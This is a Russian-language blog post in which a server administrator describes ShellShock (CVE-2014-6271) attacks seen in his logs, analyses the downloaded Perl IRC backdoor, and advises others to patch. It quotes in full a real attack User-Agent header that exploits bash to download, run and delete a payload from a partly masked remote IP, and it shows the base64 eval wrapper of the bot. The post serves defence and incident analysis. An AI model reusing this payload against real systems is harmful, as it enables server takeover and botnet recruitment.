[Из песочницы] Начало активного применения ShellShock
Доброе время суток %username%! Хочу рассказать историю о том, как мой сервер каждый день подвергается атаке через CVE-2014–6271 (shellshock). Для тех, кто вдруг упустил это из виду, две публикации на «Хабре»: «CVE-2014–6271, CVE-2014–7169: удалённое выполнение кода в Bash» и «Новая опасная уязвимость ShellShock позволяет атаковать множество устройств, от смартфонов до промышленных серверов».
Итак, после того, как информация попала в публичный доступ, в логах сервера я стал видеть запросы к серверу, где заголовки содержали вызов bash. Сначала, это были безобидные запросы, где referer и UserAgent http запросы содержали вызов из bash ping xxx.xxx.xxx.xxx — можно догадаться, что это уже поиск потенциальных жертв.
Сегодня ночью стало все куда интереснее. Проверяя логи сервера я наткнулся на такой запрос: …UserAgent: () { :;}; /bin/bash -c «wget -O /var/tmp/ec.z 74.YYY.YYY.YY/ec.z; chmod +x /var/tmp/ec.z;/var/tmp/ec.z; rm -rf /var/tmp/ec.z*»…(С помощью wget скачиваем файл с удалённого сервера, ставим права на исполнение, запускаем, удаляемся).(Ip адрес специально затерт).
Очевидно, что к дело идет к массовому заражению серверов ботами.
Что ж, скачаем этот файл, им оказался perl скрипт. Прогнав его через virustotal видим только одно срабатывание:
Sophos — Mal/PerlBot-A
Остальные говорят, что все OK.
Что ж, посмотрим. Открыв файл в текстовом редакторе, видим:
#!/usr/bin/perl use MIME: Base64; eval (decode_base64(('IyEvdXNyL2Jpbi9wZXJsDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj … MjIyMjIyMjIyMNCg=='));)
Тут сразу все понятно, типичный приём сокрытия кода. Что ж, декодируем base64 и получим следующее:
## много комментариев ## perlBot v1.02012 By unknown @unknown ## [ Help ] #################################### ## много комментариев
Теперь все ясно. Очередной бэкдор для удалённого управления. Управляется через IRC. Я не сильно знаком с perl, но пробежавшись по файлу заметно, что его в функционал входит поднятие прав (через подбор пароля root, словарь довольно маленький), флуд, и запуск некоторых утилит (mail, portscan, поднятие dns).
В заключении хотел бы дать совет начинающим системным администраторам.
Следите за своими подопечными! Если вы думаете, что bash никак не задействован в ваших системах, можете сильно ошибаться.
Bash используется в Apache (mod_cgi, mod_cgid), DHCP клиентами, OpenSSH, а так-же Git, Subversion, ну и, конечно, ваш роутер тоже может быть уязвим.
На github полно публичных репозиториев для проведения атак, не считая того, что эксплуатировать эту уязвимость настолько просто, что справится любой начинающий вредитель.
Ссылки по темеИнформация о PerlBot (модификация) [EN]; Статья от DigitalOcean как защититься от Shellshock [EN].